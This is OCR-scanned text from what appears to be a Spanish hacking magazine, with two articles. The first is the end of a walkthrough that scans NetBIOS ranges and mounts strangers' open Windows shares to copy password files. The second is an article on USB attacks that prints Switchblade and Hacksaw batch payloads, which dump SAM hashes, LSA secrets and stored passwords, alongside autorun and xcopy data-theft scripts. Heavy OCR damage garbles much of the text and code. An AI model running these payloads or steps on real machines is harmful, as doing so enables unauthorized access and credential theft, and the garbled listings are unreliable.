ninguna. Simplemente presionaremos Enfer y probaremos
suerts.

En este caso, un posible Windows 2000 no nos mues-
tra ningun dato. También puede ser que un frewall est
avitando nuestra deteccidn remota de servicios.

Realizaremos entonces una segunda prueba interro-
gando a otro host (Listado 4).

En este caso, el duefio de este equipo comparte
impresoras y recursos de almacenamiento en la red.
Aungue podriames avisarle de que tiene un grave pro-
blama de seguridad y de que su explotacidn seria trivial
para un usuarno malicioso, el proveedor de servicios
de Internet o ISP mediame el cual se conecta, no nes
facilitaria sus datos de contacto, asl que seria Imposible
avisarle nesotros mismos. Podriamos entonces conectar
©on SuU equipo ¥ dejar un mensaje en wun lugar visible avi-
sandole de los riesgos a los que estd expuesto. Eso si,
sampre y cuands estd compartends algin recurss con
permisos de escritura ;)

El usuaric estd compartiendo la unidad C:1 al com-
plete. Un grave error. En este caso, podriamos hacer uss
de nuevo del protocolo SAMBA para hacemnos pasar por
un host que forma parte de su red y coneclar con sus
recursos compartidos, Esto lo realizaremos mediante el
comando siguiente:

Con este comando hemos indicado a SAMBA que que-
remos acceder al recurso compartido C\ del equipo
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"MELGARE", cuya direccion |P comesponde con
201.250.27.105, y que monte su contenido en un directo-
rio &n nuesto equipo local, en la ruta smntdoca.

MWos pedira enfonces que especifiquemos una con-
trasefia. @ lo que presionamos Enfer 31 SAMBA no nos
muesira ningln error, querra decir que hemos conseguido
montar dicho recurso compartide en nuestra equipo.
Veamos:

fEncd od Local

deblan: fantflocal§ od wlindowes

dablan: fent/ local f'wledousi

Interesante. Al parecer se frata de un sisterma Windows
98, Millemivm (ME) o similar. De ser asi, podriamos
copiar los archivos de contrase fias junto con el archivo
SYSTEM.INI. Esto sera 0til para wn futuro articulo donde

Listado 1. Servicio de NETBIOS o SAMEA an af
rango de direcciones IP 250.250.271-254

GEARING

GRUPO TRABAJO\MADCELERON

DESDA\MELGARE SHARING
=0 T
nasme—

W POl AFRRING

Listado 2. Hests que comparten recursos

debdan: ~§ nbiscan 2
221.250.27.
201.250.27.10%

201.25%0.2

*rimecut (normal eod of scan)
Listado 3. Uso del programa cliente de SAMBA
conira la direccidn IP 201.250. 2711

debiant~0 ssbalisne =L "ESTUDIO™ =1 2001.250.27.11
Fassword:

Anonymous Login successful
Domains [MSHOME] 08=[Windows 5.1]

Servers [Windows 20:00

LAN Managper]

Sharenass Codmant

Typa

t_create falled on pipe

machine PC.

Errar

HWas

Anonymous Login = Ful
wdowes 5,11 Server=|Windows 2000
LAN Mazmages]

Comsant

Domain= |MISHOME] 03

Seever

Mastar

War ki rciap

explicaré como descifrar estos archivos de contrasefias
daesde nuestro sistema GMNLU/Linu.

Perfecto, no retorna ningdn error. Eso quiers decir que
dichos archives se han copiade con éxito en el directoric
ftemp/hack

Acto seguido, podriamos probar a escribir en algin
archivo o incluso borrarlo, si es que tenemos permiso de
escritura. Pers recuerda no hacer a los demas lo que no
te gustaria que te hagan a ti ;) Es por ello que dejaremos
libre a nuestro conajille de indias.

flocal/windowss cd ..

Jlocald od ..

Listado 4. Deteccidn de recursos compartidos en
la 1P 201.250,27.105

fenir =L "MELGARE™ =[ 200.3%0.37.10%

_nt_create falled on pipe “srvsvc
aschine MELGAREIO.

[Hon—spec

Eera

errar code.)

OLIVETTI Printer

E DIVIDI Disk

1 OLYMFUS Disk

PRINTERS Disk

HP Printer

D Disk

o Disk

IPCS Ipc Comunicacién remota

ENLER Procesod

Corment.
Master

Listado 5. Fragmento de subred = Hosts que
comparten recursos

201.250.2.73 MADER\MAELD

EHARTKG
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Aries de iBnmirgr con eshe arficulo. explcanemos coma
SRTAnEAT ol | Sebvd S0 BUSoE O8 MS MCUrSTE S0eT-
partidos. El comanda seria ol siguisnts |Listade 5)

Lsaremos n notacon /14 pars especifcar i3 mascara
de subved en bfs De este modo, podremos escansar
wna md de clase B complata, & lo que &8 ke miemo,
85 534 howts. La lnita serd realmane larga, por ko tanks la
GUBNARNIFTEE 87 U rehee o Brio sfedends b cacens
=gcan.tv al final del comando anterior:

16 |grep SEARING

D esta forma podmmaos anadizar y realizar un disgnos-
tco de cualquier red, buscando seridores de nombres
NETEIOS madiants o andlsis del pusro 1ITIUDR

Conclusiones

Pana fnalizer, s loemos 18 cocumeniacon de Nbtscan,

podremos encontiar muchas e GpGonEs Dars esca-

neal odes e mombes 0 servdores NETBIOS mds
Weile y ae mds reLrsos Compart-

dos.

TarnDekn pocrRmos RBCR COSSE WLy INDBFRRANING
ufizande SAMBA. coma por ajemplo snviar un docu-
mario & s cola de impresidn de las impresors que
apanecen compartidas en la red

Queda sn manos del lecior la ineestigacian sobre
cuesSones que Benen que wer mds especiicamenie con
# protocoie SAMBA

NOTA

Todos ks ajemplos utilizados &n este articulo han sido
reafizados con Snes educatvos. En alguros palses,
eSCANedr una dineccion IF pusde ser ilegal La informma-
cibn presentads en todos kos Fstados e una recreaciin

Information Security Inc.
Somos uns Empress dedcada ¥ compromat-
dm integramanis con bs Segurided S I indor-
maciin. Husstios Servicios se adaplan @ la
esiruciung de s empresa, recomendincdsls
Gk I Meger PAFE U Creciminnlo,
Confachn. wiw -5es g
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Arica o8 ura empresa de consullris de cap-
sl rscional formads por profesonales con &
periencia on ol rrands de ks Tecnologias de In-
frmacdn. Nusst dmblo de actusciin esti
Clniraio en dhveisos seciones indusinia banos
proveedoses da inlernel, y DEMCOMURCACIonES.
Contsclo: D iwww arbos o5
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USB Hacks

Eznquiel Martin Sallis [

Graide de difoullad
[ ]

De un tiempo a esta parte, la proliferacidn de los dispositivos
de almacenamiento USE ha crecido considerablemente. Este
crecimiento sa nota tanto a nivel de la variedad existents, como
también a nivel de la funcionalidad que lo otorga a un usuaria

casero o corporativo.

® hecho, la tcrologla de aimacena-
mignio con iniertaz USE tambakn ha
wenlacionads para aborgarks al usuaria
mayshes funcionabdades, como oh &l caso
agualios SEpositives que Heren incorparsda la
tecnologia U3 (Aifp e w3 com), Esta tec-
nologia permite ejecutar directamente desde
&l propio diRpoRtd 8N cueshon aphcaciones
varias como por ejemplo cientes de commeo,
navegadons de Iremesl, heramientas de se-
guridad, de ofimitica y hasta mini-servidores
Wb, MySOL y demas). Por otno lade, ks
reproductores MP3, centros mulimedia de
Bolsilla y similares han elevade 8 capacidad de
b @ rivelis mp jod Hempa
atras.
¥ es verdad, esto ras mads funcicnalidad,
pars @ su wver pobencia la ccurnencia de evanios
que pusden atentar contra ka seguridad de la
infarmacidn
En este articulo nos centraremos en los
USDSE MONaS CONOCICOS que S8 pueden dar en
la mayoria de estos dispositivos. Clano estl,
dependend mucho de la funcidn y la Wscrologia
ques sios possan o sobre la cual se ajecurten
Arfes oe comenzar, serla busno matoar
que ol interés de este articulo se centrard en

wwres Rakind arg

*  Dispositives de Almacenamiante USE (Sin
wecnologia L),

+ Dispositives do Almacenamésnts USE (Con
Tecralogla U,

+ Dispositives USE con funcionalkdades adi-
cionales (Ipod).

La Curiosidad matd al gato
Estd de mds decir que & sslabdn mds débil
en la cadena de la Seguridad de la Infor-

P
En este articulo aprenderds...

+  Risgos v Alaques relaciorados con dsposie
wird g almaeceraranio UESE

*  Que @3 b Tecnobgis UJ y que relackin Hers
con oy slages Eadcionaiments Vilradod,
Cudies 500 03 re300s
Cudbes 550 ks akaquas,
Tacricas de Slurping,

Alguras Far ¥ b dnpanih

Lo que deberias saber...

. Bisicas do
+ MocEmnel A 1000 b kg USE
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USE Hacks

macién es el factor humano. Pero La curiosidad maté al gafo. Es  segundad). Los usuarios de dicha em-
paradéjicamente, s bien esto es  un dicho conocido que tiene que ver  presa asisteron a charlas de educa-
bien conocide, k& gran mayoria de  con esto, y mucho. A modo de hacer  cidn y capacitacion sobre el buen uso
las estrategias de seguridad no in-  mas amena la lectura de este articu-  de la tecnalegia y los riesges que esta
cluyen la educacién de los usuarios |0 y con el fin de introducir al tema,  esconde, Adicionalmente, lo emplea-
con respecto a temas referentes a  relataremos una breve historia. dos realizaron varios CBT (Computer
esta Por otro lado, la creatividad Tiempo atrés, la empresa X, de- Base Training) o cursos bésicos de
aplicada en las thenicas de atague  cidid lanzar en la organizacién una  computacién y hasta colocaron en sus
hace que cualguier nivel de alerta fuerte campafa de educacidn dirigida  escritorios una taza con la leyenda /
que pudiese tener un usuario sea  a los usuarios finales (Secunty Aws-  Lowe Information Secunty (Me encan-
insuficientes. reness o concienciaciin acerca de la  ta la Seguridad de la Informacidn).

Listado 1. Acciones Ejeculadas por Switchblade

Bechs off

if not exist \Doouments md \Tee ¢ >nul
nul
cd \wiplemd >nul
Echo EAREVEESALEESENNRCINERERS LS bl =x\logfiles\ tcorput srmmmed. 1og 2>51
echo ** *[Systom Infg]srreresredns zhlogfiles\ toampuit.
ECho *+¥#8tetessassutssestuspaennertosss 55 #\1ogfiles\ oasput et

#che Compater Ness L2: icomputernamed and the #i Uikf Macw J5: fosernamet The date and Tiss ja: fidatei ¥timeR

2\ logfiles\ izems

mesd. log 251
Ipconfiy fall >> \D les\ oompurarnamet . log 2>£1
Echo #+++ssssss
eoho MEEEEEEES

Eche *+stessss

ST 1o

Jbernamed .

Earrusset, 10

Spwdunp 127,
EcCho *Vedstsbss bt sttt bbssbbbbbsbdbbbaviis o Eerimesd, 1og 255
echo whesssndbss [y Frodust Teyal*** " >> cumsnt £l logliles\ bocmput scnamet . 1og
ECho #4F bt b aa s s iaa b st sn s st busnnibissns mr.t:\loq[ilcs\i-'ﬁ.' thamed, 1og 2351

Aprodukey /mosmeereg fstext ™ . T0)™ /remote dermpaiterfamsl >> \Documental
logfiles\ &pomg

copy \Documspta\logfiles\ icossmiteiname . log+\ Doeurset 84 logfiles\ icompuit einumme i _pk.

ts' 1ogfiles | § compirternesel_f

imrmamai. log 2>c1

del /f fq ™

FCho #4Ftet b banashbsbsims st bbabsbbbiiss

wwentsh logfiles' boomg

echo +He++s
Echo *++sssss

\pspv.exe jstext "\Docusentd) logflles) oo

s LS BRCTELE] P E e

FEEBRED PEAERERE A

ta\looflles) Soonpus arnemes . log 2>l

anel LEAL Jog® >> \Dex

copy \Documerta\logfiles\bcomputernamet. 1og+\ Doomertal logliles\ icasput ernumat_15a. log* \Doousentz logflilest

nul
del /f fg ™
Elfhﬂ'I'""l"".'ll""""“""“""" \
[ERmip Watwack FH1S 550355 55 \

ocument shlogfiles\ oot ernems i 1o, >nul

it logfiles\ Lesmgnibmrnume’ . 1og

1hlogfiles\ becmgnib mriemmet . 1og
=\ logfiles\ keemgribtmrnasst . 1og
tmoant 2t logfiles\ teaspuit epnasst. log 261
\ 1ogfiles Scarpatetiamst_np.logt \Pocomasta) 1ogfilesy

echo

Echn +++testines

PetsmsasebraiarbabEeas Ls |\ Ty

NAnekpass . exte /stext ™ Documentshlogfilesh iz

copy \Maccmertshlogfiles\ deommiternamsd. 1og+\ Dec s

nul
del /f /g cument st logfiles\ fooms . I >nul
Echo #hssssbissbssdibdbsbbsssidsbsbibsbiss o3 imemb e\ Logfiles\ b esmgnb miusied . 1og 2561
echo B0 DS STI0r wocusentsh logfiles\ iagpit ernanak. log 2>51

ECho #4+#ssassssnsssissrnnssirananstsrsss 55 \Neeumsnt #\loqliles\ besput senemss, 1og 3
et
i\ logfiles\ becspnibernmmel_ms.log \Docimentslogfiles\

NAmapass. exe /stext "\Docume s\ logliles\ becagniberiana¥. log 2>61

\logliles\ $pmmpirtermema mr, fog* >>

copy \Docimerts\logfiles\ oot ame ., 1og+\ Docuse
nul

del /f /g ™D

Echo s++sesssvesnsnres

echo **

seaabes | Fme |
Echo #téésdibiiiasiies

L Nlskory)****

bhabbbbbiebbbid

i e

cscript #fnalige DS, wis 5 Pocussnts’ io

TYPE \Document oqfiles) doosput artiemet. Log L™ | find /V “EslpAeleant™ >> \Documests'
logfiles\pwlile.txt

End

exit

wwiw. hakin®.org
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Listado 2a. Acciones Ejecutadas por Hacksaw

Becha afd
if not exist \Docuswnts e \Docessuls >nul
o S ) nul
cd \wiptemd >nul
elrced evecod CRLEL mikill.exe
Echo *oesesstrssisonsonivesairnnsrniossts 3 \Documents) logfiles\ tesmput mrnamsl. log 351
echo #+esdrssbit[fygrem Inf]tressssresss o \Docimmta\ logliles\ icomgnit mriusmed . 1og 7>01
Echo ##eedsibbrnbirpasirpasdbbivnibossss oo \Dopmmnts' 1ogiles\ soomgnksrnssst . 1log 251
sche Computer Bas Lic Soospuisrnemes and Ehe Lagssd on Ussr Mete 1#: Vuserpamedl The dote and TEsa ls: Sdatel itimeld
>> \Doeument s\ logliles\ dossput erammed. log 2>51
ipcenfig /a1l >: \Dammantallogfiles\ioomputernsmet . log 2>&1
e #ess 5y \Documentidllogfiles\ fccepub eeiesed, Jog 241
echo #*#3343+3+4 [Dump SAM]*vesssessssiies o \ Docummnbi\}ogiles\ sooegll erreses , log 2551
ECho **#dsdstsbissiisnsansarsirsvesininss 5 \Documantsilogfiles\ docegubarnamsd. log 2>51
Apwdump 127.0.0.1 >> \Documnobn\ logfiles: icanpute rmamet . log 25l
EChO B Y 35 \mﬂtl\lﬂgﬁl@s\iwr.m‘-lm 2);1
echo #+esssesies [ Dimn Frajot Feys]+*++++ 55 \Docuswmba\logfiles\ Scomput srimet . 1og 2>51
Echo *##¥sssssssssiisnsrrsiriiarsnisnssss 53 \Docummnts\logliles\ Soomntmrnamet, 1og 2>51
Aprodukey /mosavers; fstext "\Docwment:\logfiles\icomputernmssl ph.lod™ /remote toomputernsmet >> \Docussnta)
logfilesh dcompmternamet . log 2>51
copy \Doccsnets\logiles\ doosput ernemed . 1o\ Soeames b\ 1ogiiles\ Sooconiternemet_pk. log* \Decomants) logfiles\
nul

Echo =ttéestbbasssisibsnsanis

del /f /g "\Documents\ logfiles\ icompirternansd pi: log® >nul
Echo *##sssrissssnssnniavsnnsnspsnsvensss 5 \Docmmnta\logfiles\ scomputacnamet. log 2>51
echo ***ssssssss[Dump TE 7 Secreta]******+ >> \Dacussersilogfiles\ Scompubernamet, log 3341
Echo #+ssssstsssiirrssiosstipssnnirissrs 55 \Orepmanta’ logfiles\ icospubmrnamet . 1og 2>51
Adepv.exe /stext "\Documents)logfiles'ioorputernaned 154, 0mg" >> \Documents\1ogfilas\ Bopepit srnmed , 1og 2>61
copy \Documsrta\logfiles\icesguitertamst. log+ Docimsety) logfiles| ieaspuiternass}_1sa.log® \Doouments'logliles!
nul
del /f /g ™\Doowments\logliles\ Socwputernmms_Les.og® >nul
Echo ##besssssssssrspnstonsriparsnrrrssns 55 \Onemmmnta\logfiles\ tomtonut stnamet_Updates.log 2>:1
echo #edsbadist [Mamp Updates-List]*#+5 448 o \Doeoert st logfiles\ ieamput e rnsss}_Updates.log 2>41
Echo s+desddibisddbbiisibisiibiiniibiiiid 5 \Dooumsnta’ logfiles\ icceput arrssei_Updates.log 251
JNwul.exe fstext "\Docusents\logfiles' 8§ complitérmmey ekt se. Tog”
Echo tHessrstprsniinnnsaveneisnenirssniss 5 \Dosumata\logiiles\ foomput sruamed . 1og 2>51
echo **eessesees [Dagmp Wotsgek PW] "t **" 23 \Decwsents)logfiles\ scomputernamet. log 2>l
ECho ####8 4343888004 40 40040000 0000400 55 \Hmt!\lr.]ﬁ'les\imr-rwsllm 2)&1
Anetpass . exe /stext "\Documents\logfiles\$compiternemed np, log" >> \Décuments\logfiles\ icowputernams k. log 2>61
copy \Docimsrta\logfiles\ doceput srnemet . log+\ Docursst n' logfiles\ fconputermesst_np. log* \Documsnt st logfilest
nul
del /f /g "\Dooments\logfiles) toompirternamed_mp. Iog" >nul
Echo tH*sesssssssiirrssisssibpsrnnirrsers 55 \Doemmenta’logfiles\ soomputmrimmet . 1og 2>51
echo #*+#++éddisd [mp Cacks ] ¥ 3445+ 55 \Nosmmawbe\ 1ogfiles\ Sesmput drnasss . log 2>61
Echo #+#ssdsibbpisibissiisiiibisisibiiiis s \Inemmonti\ logfiles\ icosgnibernamed. 1log 751
Ncachedunp. exe >> \Docuwents\logfiles' Secssnibernamsi . log 2551
Echo s#+sssssssssssrsrsnsansrrssnssisisns o5 \Booumnts\logliles\ becsputarnasst . 1og 2>51
echg #+esssssess [Mumd Hetwock 1hfa)**++++ >> \Documenta\logfiles\ tommpit srnamet. 1og 2>51
Echp s+##sdasissddibsidiibibidiiasiiiisis 5y \Nocvment s\ ] oqiiles) ioospl srismst . log 2341
netstat,exe -abn >> \Docorsn®i\logfiles\icosputerkenet, log 2>51
Echp #+#bsddbbbidibbbsiiiiaiibiiisiiiiiid 5 \Doommenta\logfiles\ tcomgnb wenmmed. 1og 2251
echo *++++++ 44+ Mgy Magseiiger FF]***+*+++ >> \Domumanls\ logfiles\ Sesmpul nrisnnt . log 2>&1
Echo t#eessssesassvvessrrssvvssnnrrressss 55 \Oocxmonts'logfiles\ koomput srhamet . 1og 3>51
\mspass.exe /stext "\Dacuments\logfiles\i=smpirternaned s, log* >> \Nocimasts\logfiles\ icosputearnase’. log 2341
copy \Docimmets\logfiles\ teosguiteriamet . log+\ Documen ki Logliles) irsagaiternamet_ms. log* \Documenksl logfiles\
nul
del ff /g ™\Documents\logliles\iismjuiteruassl_ma.log" >nul
Echo ##30e s 0 b it ba st b ba st di b bt astbonsss 55 \m'_:\logﬂles\imt-mﬂ‘_log 251
echg #+essssssss [Mnmp ITEL History]+*+++++ >> \Documintd\logfiles\ ioomputernamed.log 2>51
Echo #HERsabebs st bbb e s bebnarbrbssbbbrbins o5 \Decumeta\logfiles\ Scomputernmmet. log 2551
cscript Afasloge DR vhe 2 (Pecusssts) logiles | bocepatemensd, Jog 2501
Echo *#* 4+ ARRERNSINR AR R R Raa s Sy | Decimeml e\ Logliles\ Boomglil spnsmet . L1og 251
echo *Fesdvsaris [Ingrall Machsm]* 4440 5> \Dooumerts' Togfles| iconput et . log 2>51
Echo +##settisssssnssnssraniirasarsssrsss 5 \Oeemmenta\logfiles\ soomgut srnamet . 1og 2341
o
ek Dete, >> \Docomanta)loglfiles\iesspiteraimet. log 2>51
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USB Hacks

Claro estd que la empresa X, tras
invertir itempe y diners en esto, deci-
dié realizar un sondec que reflejara
el nivel de efectividad que habian

'Disculpe Sr.. pero yo scy un Usuarno
concienciada en lo gue a la Segur-
dad de la Informacidn se refiere. No
pienso facilitarie ningin dato y acto

seguido procederé a denunciar este
hecho en mi organizacién’

Los penetration testers o consul-
tores de seguridad, ante este esce-

tenide estas jornadas en los usua-
riog asistentes mediante un test de
intrusién, cuyo principal objetivo era
el uso de la técnica conocida coma ECho FHetssrsssbasd st v bt d b sdbbrasrss \Biesmant 5} LogflLes\
Ingemera Social Es bien sabido i i
que €l usuario no debe conocer de
antamano la realizacién de este tipo s . \
de pruebas, ya que esto haria que — s
estuvieran mas atentos a una lla- ' ! _
mada telefénica, correo electronico
o visita sospechosa, con lo que los o
resultades obtenides no reflejarian e
la realidad de la situacion. Pero ; . 2o51
bueno, en este caso alguien de la Echo FFHFeRiktipidbvastssstididntsttis 55 \Documents) loglilest
organizacion X cometid el error de ‘ronputsrranet.log 2>

advertir de antemano a los usuarios, -
por lo que estos estaban desecsos
de gue su teléfono sonara y ante la exl
primera sospecha responder con un /

Listado 2b. Acciones Ejecutadas por Hacksaw

P u B L c I O A ]

SEGU-INFO

SEGURIDAD DE LA INFORMACION

EL ACTIVO MAS GRANDE DE UN MEGOCIO SON LA INFORMACION, LAS PERSONAS
¥ suU CoNOCIMIENTO.

LA INFORMACION BRINDA GRANDES BENEFICIOS, VENTAJAS COMPETITIVAS,
DIFERENCIALES ECONOMICOS ¥ AYUDA EN LA TOMA DE DECISIONES ADECUADAS.

MADA DE ESTO EERIA POSIBLE SiIM EL CAPITAL HUMAMD, QUE SE FORMA ¥ SE
CULTIVA CON EL CONDCIMIENTO.
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>><< Ataque

nario tan desfavorable decidieron
utilizar una técnica mas creativa para
intentar obtener informacién sen-
sible sobre la compafiia. Para ello,
decidieron imvertir en la compra de
unos cuantos dispositivos de alma-
cenamiento USE con tecnologia U3,
teniendo en cuenta ademds, que las
estaciones de trabajo de los usuaros
tenian nstaladas Windows XP con
Service Pack 2 (SP2) comp sistema
operativo, que por defecto tiene la
funcién de auto ejecucidn habilitada,

Para que &l ataque fuese efectivo,
colecaron dentro de cada uno de los
dispositives USEB con tecnologia U3,
un codigo que tenfa, como funcin
principal, capturar las pulsaciones
del teclada, mas cominments cono-
cido como Keylogge, almacenarlas
en un archive de texto y después
enviarlas por correo electrénico a
sus destinatarios. Lo dnico que les
quedaba a los consultores de saguri-
dad era que el usuario conectara por
veluntad propia este dispositivo en
uno de los puertos USB de su esta-
cidn de trabajo. Del resto de la tarea
ya s& encargaria ia tecnologia. Pero
claro, los usuarios de la compafiia
podrian percatarse del riesgo que
esto podria conllevar. ..

La estrategia fue sencilla, una
vez dentro de la empresa clvidaron o
extraviaron los dispositives en el co-
medaor, en algin pasille, en el cuarto
de bafio, etc., para que algin afor-
funado usuario encontrard alguno.
La mayoria de los usuarnos, cuando
encontraron estos dispositives olvi-
dados a propdsito, los conectaron én
sus estaciones de trabajo para ver
@l contenido de estos. Eso fus todo,
trabajo realizado ¥ misidén cumplida,

La moraleja de esta historia es
ofrecer una pequefa muestra de
cémo la creatividad aplicada a los
ataques hacia la seguridad de la in-
formacion puede inutilizar cualquier
metodologia de defensa. capacita-
cion o educacion que sea lo suficien-
temente rigida y lineal,

Para terminar la historia, creo que
nos deberiamos preguntar lo que
hubiésemnas hecho nosotros en la si-
tuacidn del usuaro, y si nos habria ma-
tado la curiosidad. Vayamos al grano.

Ataques utilizando
dispositivos de
almacenamiento USB
con tecnologia U3

La gran mayoria de los fabricantes
de tecnologias de almacenamiento
portatil con interfaz USB ya tienen
disponible su version de Pen-Drive
con tecnologia U3, que a todo aquel
que le interese conocer mas sobre
los usos de la misma, en las referen-
cias de este articulo encontrara una
serie de links para seguir investigan-
do v aplicar sus usos.

La tecnologia U3 permite la eje-
cucién de aplicaciones directamente
desde el dispositive de almacena-
mierto USB sin dejar rastro alguno
en el equipo en el que se conecta,
Par ejemplo, imaginen el navegador
de Internet Firefox, con sus add-ons,
sus cookies de navegacion y sus
favoritos instalade en un dispositive
USB U3. Interesante, ;verdad?

Esta tecnaologia, & diferencia de la
que posee un dispositivo de almace-
namianto USB tradicional, cuenta con
dos particiones. La primera y principal
nermalments serd vista por el sisterma
operative al que se conectard como
un medio de almacenamiento estrai-
ble. mientras que la otra partcion, muy

pequeia, serd vista como una unidad
de CD-ROM. Es ahl donde estd el
punio, y es también ahi donde el fa-
bricante coloca un archivo auto ajecu-
table o sutorun que permite acceder a
su aplicacion principal , generalmente
un bonite meni que ofrece el acceso
a las aplicaciones almacenadas en la
ofra particién de una Manera muy ami-
gable. Esta particidn se puede revisar
y 88 puede acceder a ella pero no
pusde escribires en ella (en realidad,
como verdmos mas adelante, esto no
s del todo cierto...) El sisterna Win-
dows XP con Service Pack 2 posee
la funcion de ejecucidn automdtica
habilitada por defects, per lo que el so-
lo hecha de conectar el dispositive en
&l puerto USB lanzard dicho mend y
permitira el acceso a las aplicaciones.
Y todo esto sin ningln tpo de interven-
cion por parte del usuano.

Otros  sistemas operativos o
versiones del sistema anteriormen-
te mencionado no poseen dicha
funcién habilitada por defecto en la
mayoria de los casos, por o que al
igual que los dispositivos sin tecnolo-
gia U3, requieran para funcionar una
mirima intervencion por parte del
usuaric. Esta técnica la trataremos
mas adelante.

[autorun]

icon-1ilguy.ice “AQUT EL

open=start .bat

shell\open\command-start, bat

Listado 3. Acciones autorun ulilizadss en dispositives non-U3

action-Click "OX" =r install UEE flash driw

xcopy "C: '\ Doiimend

xeopy "C: \Dpcimsnty =

Bels

Bexit

Listado 4. Acciones ejeculadas fipicamente en un alague de Sulrping

i /sicfq/xih

W Lxls™ Redh

membal . txt™ ~doy
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USE Hacks

Ahora que sabemos algo sobre
la tecnologia U3, veamos como se
puede aplicar a otros fines.

Teniendo en cuenta la tematica
de este articulo ¥y en este punto &n
particular, me voy a basar en un inte-
resante proyecto abierto que lleva a
cabo la comunidad relacionada con
el grupo Hackd (www hack5.org),
quienes entre otros interesantes
proyectos llevaron a cabo el de-
sarrollo de peguefios codigos fun-
cionales denominados Payloads,
que permiten lo que a continuacion
pasaremos a explicar,

Estos pequefios codigos no son
muy sofisticades, pero si sen muy
efectivos, al igual que lo fueron en la
breve historia que les conté,

Primero lo Primero

Lo primero que se debe hacer es
modificar el contenido ubicado en
la particidn autoejecutable, es decir
la que emula la unidad de CD-ROM
que antes mencione, para esto de-
beremos reemplazar el contenido
original de la misma, el cual gene-
ralmente contiene &l software que
provee el fabricante.

con agregados multilenguaje

Beche off
mkdir $~di\ie mpE e rTeann g

xoopy "C:\Dex

copy "C: \Decim
copy ™ D

FEOPY "C: \ Do

D P

"G\ Decii

ROOT \Dr =

xcopy D

Roopy Di -

Feopy "C: \Docime

: \ Do umsiits

RECPF "C: \Docime
ey | D
g "C:\D -
HCOPY DEcim .
Kooy \ Dy "
Bcls N

Bexit

Listado 5. Acciones gjecufadas tipicamente en un atague de Sulrping,

W Ldoe™ B~d0h

Lxls™ d~doh

J! i VLbxt™ #~d0y
/sfctgitih

Poacimests * . rdp™ 2~dO\
/sle/q/rin

Eat rwtor My Posfusants’* . jpg™ 8~dO\
rusnt /sfc/g/c/h

senteslt  doc™ $~dO\
Jelgitih
! A~y

R~d0h

Fndd0h

" Rl
" oRedih
B~doh,
By

" R0,

Para lograr esto, inicialmente se
desarrolid una herramienta que solo
permitia esto en los dispositives de
la marca Sandisk y Memorex, Hoy
on dia ese problema ha quedado
resuelto, ya que la nueva versién de
la herramienta, gracias al trabajo de
su creador Tyrone Davis funciona de
manera indistinta en cualquier di-
spositive Independientemeants de su
fabricante. Esta herramignta no es i
mas ni menos que un gestor amiga-
ble que nos permitird reemplazar el
contenido de dicha unidad per ofro
archivo con extensién .iso de nue-
stra preferencia. Claro esta, es muy
recomendable realizar una copia de
seguridad del contenide original an-
tes de realizar este proceso.

La mencionada aplicacion univer-
sal se lama Umiversal U3 LaunchPad
Hacker y viene con un lanzador
modificado que permitid  ejecutar
automabcamente dos pequefos
codigos o payloads mas que intere-
santes que Veramos a continuacion:

*  SwitchBlade,
»  Hacksaw

Cabe aclarar gue tras modificar el
contenido de a particién que emula
el CD-ROM, deberemos decdir cual
de los dos payloads utilizaremos. Para
elle, deberemncs copiar en la otra par-
ficion, es decir en la que vemnos como
unictad de almacenamienio extraible,
cualkquiera de los payloads antes men-
cionados. Los directorios tenen activo
el atnbuto de ocultos, con la finalidad
de que el usuario desprevenido no vea
su contenido o pueda sospechar del
mismo. Independienternente de esto,
cada uno podria crear y cargar su
propia imagen 150 con las aplicacio-
nes y codigos que desea que S8 aulo
apcuten. Para ello, se deberian seguir
los siguientes pazos explicados por su
creador Tyrone Davis:

* Descargar la aplicacion de hifp:
Awww hak5 org/packages/files’
I inivarsal C‘ug}nmirlrrinl

+ Extraer la aplicacion y cambiar al
directorio donde fue extraida

+« Copiar los archivos que desea-
mos en ese directorio,

wwiw. hakin®.org
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+ Ejecutar el archivo
IS0 reata rmd

» Lanzar el Universal Customizer

En este articule nos centraremes, tal
¥ COMmo mencionamos anteriormen-
te, an las aplicaciones que ya vienen
precargadas en esta herramienta. La
técnica de ataque que realizan estas
herramientas sa conoce como Slur
ping, y esta orientada hacia la fuga y
el robo de informacidn. Existen otras
vanantes como el Ipod slumping que
veremos mas adelante, cuyo disposi-
tivo utilizado es el conocido Ipoa

Ahora que ya tenemos en la
unidad autoejecutable de nuestro
dispesitive el lanzador modificado
y hamos cargado en la particion de
almacenamiento  extraible alguno
de los dos payloads veremos como
funcionan estos dos cddigos, sus ca-
racteristicas y los dolores de cabeza
que podrian acarmearnos.

SwitchBlade

Fue el primerc en aparecer. Sus
funcionalidades son limitadas pe-
ro efectivas. Utiliza herramientas
bien conocidas como por ejemplo
pwdump, maipassview y algunas
ofras. Vale aclarar que algunas he-
rramigntas contenidas en el payload
de Swilchblade, al igual que ocurre
con Hacksaw requieren privilegios
administrativos para ejecutarse co-
rrectamente ya que por el contrario,
podrian ser detectadas por el antivi-
rus, que impediria parcial o totalmen-
te su funcionamiento.

El sole hecho de conectar este
dispositive al puerta USB de un
equipo que tenga un sistema opera-
tive con la funcidn de auto ejecucién
habilitada (tipicamente Windows XP
con Service Pack 2) y de manera
totalmente desapercibida para el
usuario, en aproximadamente 30 se-
gundos, escribird un archivo de texto
&n la unidad de almacenamients ax-
traible del dispositivo USB U3 con la
siguiente informacion:

* Claves de registracién de los
productos Microsoft instalados
en el equipo (Sistema Operativo
¥ Suite de Ofimatica),

+ Lista de parches de seguridad que
fueron aplicados en ese equipo,

*»  Utilizando el famoso Pwdumg,
extraera los hashes de las contra-
safias del archivo SAM, los cuales
quedardn en un formato listo para
ser interpretado por cualquiera
de las herramientas de crac-
king de contrasefias disponibles
(Rainbow Crack, LC5 o Cain),

* Contrasefias almacenadas en el
cache del equipo (MSN, Skype,
AlM),

* Contrasefias almacenadas an al
cache de los navegadores |E y
Firefox,

+ Historial de navegacidn de los
navegadores |E y Firefox,

Como se puede comprobar, ser vic-
tmas de Switchblade es bastante
peligroso, mas adn s tenemos comoe
costumbre realizar practicas no reco-
mendadas come por ejermplo recordar
contrasefias, habilitar opcienes de au-
tologin, etc. Para idustrar técnicaments
cuales son las accones, en el Listado
1 %8 puede observar las que apcita
SwifchBlade en una versidn diferente a
la original. La comunidad que forma el
fore de HackS, ha desarmollado diferen-
tes versones de la aplicacsbn onginal
que han agregado mas funcionalidades
en algunos casos, ¥ mas sigio y dificul-
tad para su deteccién en otos. Pero
claro esta, B evolucion caractensica
es ir mas alla. Por elio, ahora le toca el
turma a HackSaw, el otro payload que se
ha mencionado con anterionidad.

Hacksaw
Tiene caractaristicas similares a
Swilchblade. Es decir, conserva las
funciones basicas de este vy ademas
agrega varias ofras mas interesantes.
